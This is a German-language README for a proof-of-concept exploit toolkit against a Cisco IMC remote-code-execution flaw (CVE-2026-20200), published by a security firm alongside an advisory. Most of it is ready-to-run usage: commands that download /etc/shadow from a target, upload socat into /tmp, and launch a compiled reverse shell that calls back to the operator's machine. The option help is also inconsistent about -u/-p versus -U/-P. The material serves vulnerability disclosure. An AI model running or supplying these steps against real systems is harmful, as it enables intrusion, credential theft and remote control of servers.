
PoC-Toolkit zum Ausnutzen von Cisco IMC RCE CVE-2026-20200
Christoph Peil @ NSIDE ATTACK LOGIC 2026
CVE: CVE-2026-20200
CVSS v3.1 (CISCO): 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v3.1 (NSIDE): 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Advisory: NSIDE-SA-2026-003
Blogpost: https://www.nsideattacklogic.de/en/cisco-imc-when-remote-management-becomes-a-backdoor-cve-2026-20200/
Dieses Proof-of-Concept dient nur zu Demonstrationszwecken und darf nicht für illegale Aktivitäten verwendet werden. NSIDE ATTACK LOGIC übernimmt keine Verantwortung für Schäden, die durch die Verwendung oder den Missbrauch dieses Codes entstehen.
Dieser Exploit ermöglicht das Herunterladen von Dateien, das Hochladen von Dateien und das Starten einer Reverse Shell. Er enthält mehrere Python-Dateien des PoC, einen Ordner shell und einen Ordner download.
Im Ordner download werden alle Dateien abgelegt, die vom Server heruntergeladen wurden, unter ihrem Namen (z. B. /etc/passwd > passwd).
Der Ordner shell enthält alles, was für eine Reverse Shell benötigt wird. Die Datei lib.so ist eine kleine Bibliothek, die für ARM gebaut wurde, um die Binärdatei auf dem IMC in /tmp/main einfach auszuführen. Der genaue Befehl zum Bauen befindet sich in util.py. Außerdem liegt im Ordner eine reverse_shell.go.example, eine kleine Go-Reverse-Shell, die zuvor kompiliert werden muss, damit sie deine lokale IP enthält, die für die Reverse Shell verwendet wird.
Damit die Reverse Shell funktioniert, muss man sie zuerst mit der Aktion -a build bauen.
sudo apt install golang-go
pip install -r requirements.txt
Usage: CIMCown.py [-h] [--proxy PROXY] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-v]
options:
-h, --help show this help message and exit
--proxy PROXY Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)
-t, --host HOST Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-U, --username USERNAME
-P, --password PASSWORD
-a, --action ACTION Action: test, download, upload, build, shell (default: test)
Test will connect to the CIMC and download the file /etc/passwd
-u, --uploadFile UPLOADFILE
File to upload
-p, --remoteFile REMOTEFILE
Remote file path to upload to
-d, --downloadFile DOWNLOADFILE
File to download, is saved into 'Download'
-v, --verbose Displays more information about cimc
Beachte das große U und das große P für Benutzer und Passwort!
python ./CIMCown.py -U testAdmin -P testPassword -a test -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a download -d '/etc/shadow' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a upload -u './shell/socat' -p '/tmp/socat' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a build
# action 'build' is needed before for local IP in revShell
python ./CIMCown.py -U testAdmin -P testPassword -a shell